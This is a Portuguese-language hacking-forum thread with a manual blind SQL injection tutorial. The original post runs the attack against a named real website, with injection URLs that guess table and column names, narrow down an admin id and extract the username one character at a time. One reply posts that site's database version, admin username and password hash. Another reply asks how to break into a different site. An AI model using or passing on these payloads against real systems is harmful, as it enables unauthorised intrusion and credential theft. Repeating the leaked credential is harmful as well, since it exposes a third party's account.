Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Blind SQLi Manual Completo!

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial Blind SQLi Manual Completo!

    BLIND SQL INJECTION


    Olá pessoal do Brazilian Hack. Estou aqui novamente para tentar ajudar vocês. Muita gente pensa que Blind SQL é algo muito avançado, muito difícil etc. Porém ao começarmos a estudar, vocês verão que é muito simples, um pouco mais complicado que o SQLi normal, porém continua sendo fácil.


    0x1- O que é Blind SQLi e qual a diferença para SQLi normal?

    Blind SQLi é como um jogo de pergunta e resposta. Você insere sua query(pergunta) e ele carrega ou não a página (resposta). A diferença entre ele e o SQLi normal é que nele é necessário "chutar" os nomes das tabelas, colunas, usuários e senha. Ai você me diz: " NOSSAAA, vou ficar 2 anos pra acertar os nomes". Nãooo gafanhotinho... Na verdade há comandos que facilitam esse chute, e palavras padrão. Bom explicarei isso mais a frente. Vamos a prática!!!

    Obs: Como já é de costume nos meus tutoriais, eles serão feitos com sites reais. Você tem a opção de participar ou não.



    1x0- Testar se o site é vull
    E como eu faço isso 2-D?

    Bom é simples. Como a página vull a blind sqli só responde SIM(a página carrega normalmente) ou NÃO(ela não carrega ou carrega com informações faltando) nós temos que por uma informação verdadeira e elá tem que carregar, depois temos que por uma falsa e ela não pode carregar ou carregar com defeitos.

    O site que vamos usar é:

    Código:
    http://www.commsunlight.com/news.php?id=5
    Para verificarmos a vull, temos q por uma informação falsa e outra verdadeira.

    Uma informação verdadeira seria:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+1=1
    --> A página vai carregar normalmente.

    Uma informação falsa seria:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+1=0
    --> A página não vai carregar normalmente.

    Feito isso checamos que a vull existe, uma vez que ela responde corretamente à nossas perguntas.

    Agora vamos explorar. Aqui neste tutorial nós vamos trabalhar com a ordem Tabela>Coluna>Usuário>Senha.

    2x0 Vamos então descobrir o nome da tabela.

    Para isso usaremos o código(vou postar dps eu explico pra que serve cada palavra):

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+nomedatabela)
    A parte "select count(*)" significa "selecione a coluna (*). Nós usamos o (*) por que ainda estamos chutando o nome da tabela. Depois iremos para a coluna.

    Onde há "nomedatabela" é o nome que você vai chutar. Os nomes mais comuns são:


    Código:
    User    Admin              tb_user         tb_usuário
    Users     Adm                tb_users        Usuário
    Usuários    Administrador      tb_usuários    Login
    Testaremos as 3 primeiras:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+user) --> pag não carrega normalmente.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+usuário) --> pag não carrega normalmente.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(*)+from+users) --> pag carrega normalmente.
    Achamos o nome da tabela entao: users

    3x0 Agora vamos partir para as colunas.
    Usaremos o mesmo código:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(nomedacoluna)+from+users)
    Bom nós queremos duas colunas: usuário e senha

    3x1 Achar a coluna que contém a senha

    Os nomes mais comuns para a coluna que contém a senha são:

    Código:
    Senha    Pass    Chave
    Senhas    psw     
    Password  passwords

    Vamos achar então o nome da coluna que contém a senha.

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(password)+from+users) --> não carrega normalmente.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(pass)+from+users) --> não carrega normalmente.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users) --> carrega normalmente!!!
    3x2 Achar a coluna que contém o usuário

    Os nomes mais comuns para a coluna que contém o (é a mesma da tabela) usuário eu já dei ali em cima.

    Vamos então tentar achar o nome da coluna que contem o usuário. Vamos chutar os 3 primeiros nomes que eu falei la em cima:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(users)+from+users) --> não carrega normalmente.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(usuario)+from+users) --> não carrega normalmente.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(user)+from+users) --> carrega normalmente!!!
    Bom até aqui já achamos 3 coisas: Nome da tabela: Users
    Coluna do usuário: User
    Coluna que contém a senha: psw

    4x0 Descobrindo o ID

    Vocês devem saber que quando vamos invadir por SQLi no Havij, aparecem vários logins e senhas né? Então, com o BlindSQli só poderemos descobrir 1 usuário e 1 senha de cada vez. Para isso teremos que descobrir o "id". Normalmente o primeiro id é o admin, então rezaremos ^^. Para descobrir o id faremos o seguinte:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<10) --> nós estamos utilizando o sinal de menor pois queremos o primeiro id e não o último. A página não carrega.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<100) --> não carrega.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<300) --> carrega!! Sabemos então que o id é menor que 300
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<200) --> não carrega, ele esta entre 200 e 300
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<280) --> Carrega.
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id<260) --> Não carrega.
    Bom isso vai demorar um pouco até conseguirmos achar o id... Vá fazendo isso até diminuir bastante a distancia entre o que não carrega e o que carrega. Depois vá usando o sinal de "=". Como eu já achei vou direto ao ponto.

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+count(psw)+from+users+where+id=270)
    --> Carrega.

    5x0 Descobrindo o número de caracteres.
    Para facilitar a descoberta do usuario e senha, vamos ver qual o tamanho do usuário e da senha (quantos caracteres ele possui).

    Para descobrir qual o tamanho do usuario usaremos o comando "length" e comandos como >,< e =. Desse modo veremos se o usuario por exemplo possui mais de 10 caracteres( > 10 ) ou se tem menos que 5 ( < 5 ).A string completa ficará assim:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+>+10 --> não carrega.
    http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+>+5 --> não carrega.
    http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+>+4 --> carrega!
    Bom, agora é só usar o bom senso e um pouco de matemática. Qual o número que é maior que 4 mas não é maior que 5? O 5 --'

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+length(user)+from+users+where+id=270)+=+5
    --> Viu?Carregou!!

    Agora nós já sabemos o tamanho do usuário. O próximo passo é descobrir o usuário em si.
    Obs: Eu não vou fazer os exemplos com a senha por um motivo simples, é igual. A única coisa que mudar é que onde ta escrito user você tem que por psw.

    6x0 Descobrindo usuário

    Para descobrir os caracteres do usuário vamos usar o comando "substring".Ficará assim:

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+=+a
    Esse "1,1" significa que é a primeira letra dessa palavra. "2,1" seria a segunda letra e assim em diante.

    Como o usuário é admin, teoricamente era pra carregar. Por que então não carregou? Por que nós não podemos usar letras normal. Temos que utilizar em ascii. Utilize esse site para pegar as letras Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... .

    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+=+char(97)
    Carregou normalmente DD

    Agora vamos para a segunda letra
    Código:
    http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,2,1)+from+users+where+id=270)+>+char(97)-> carrega. Sabemos então que a letra é maior que A na ordem alfabética. 
    http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+>+char(100)-> não carrega. Ou seja é menor que "d".
    http://www.commsunlight.com/news.php?id=5+and+(select+substring(user,1,1)+from+users+where+id=270)+<+char(100) ->
    também não carrega. se ela é menor que "d" e maior que "d" ela é "d" --'
    Para o tutorial não ficar maior do que já está eu vou terminar por aqui. Agora é só ir mudando de 2, pra 3, dps pra 4, etc... e dps fazer a mesma coisa com a senha ( que é enorme uma vez q esta criptografada ).

    Créditos: 2-D

    Gratz: Brazilian Hack


    Qualquer dúdiva add: brazilianhack2d@hotmail.com
    Similar Threads

  • Font Size
    #2
    po man muito legal... mais faltou terminar.Acho que a senha criptografada não consegue nunca pq tem numero e letras.

    Comment


    • Font Size
      #3
      Boom. Mas... A título de curiosidade, a função Count() serve para contar as túlpas (linhas, se prefereir) que consta na coluna indicada. E não "selecionar a coluna(*)".

      Select = Retorna/mostra o resultado da query.
      Count(*) = Conta todas as túlpas/linhas da tabela indicada pelo from.

      E também, foi uma coincidência agradável, a tabela se chamar id. Em alguns sites, os administradores, colocam algo to tipo user_id, clm_id. Assim, seria bom checar o nome da coluna.

      Versão do Banco de Dados = 5.1.60
      user = admin
      pwd = a0834ff28c180c87

      A senha está criptografada em MySQL 4. Como a versão do Banco é 5, suponho que a senha foi gerada pela função old_password().

      Parebéns pelo tópico.

      Att
      Se ajudei, agradeça ! Não cai o dedo. ;D



      Meu Fã? Use :

      Comment


      • Font Size
        #4
        vlw shardock, sua ajuda é sempre bem vinda ^^

        Comment


        • Font Size
          #5
          Parabéns, ótimo tópico, vlw XD...

          Comment


          • Font Size
            #6
            Muito Bom!!!

            Continue assim, sempre querendo compartilhar informações, juntos seremos mais fortes !!!
            "Sou a única certeza que vocês terão em toda a VIDA de vocês, eu tardo mais não falho !!! Tenho a certeza que algum dia irei visitar todos vocês"



            Comment


            • Font Size
              #7
              Dúvida sobre: Blind sqli

              Eu estou tentando invadir um site mas tudo que eu coloco o site responde como 'sim'ou seja, não ocorre erros.
              Como posso testar a vull dele?

              Comment

              X
              Working...
              X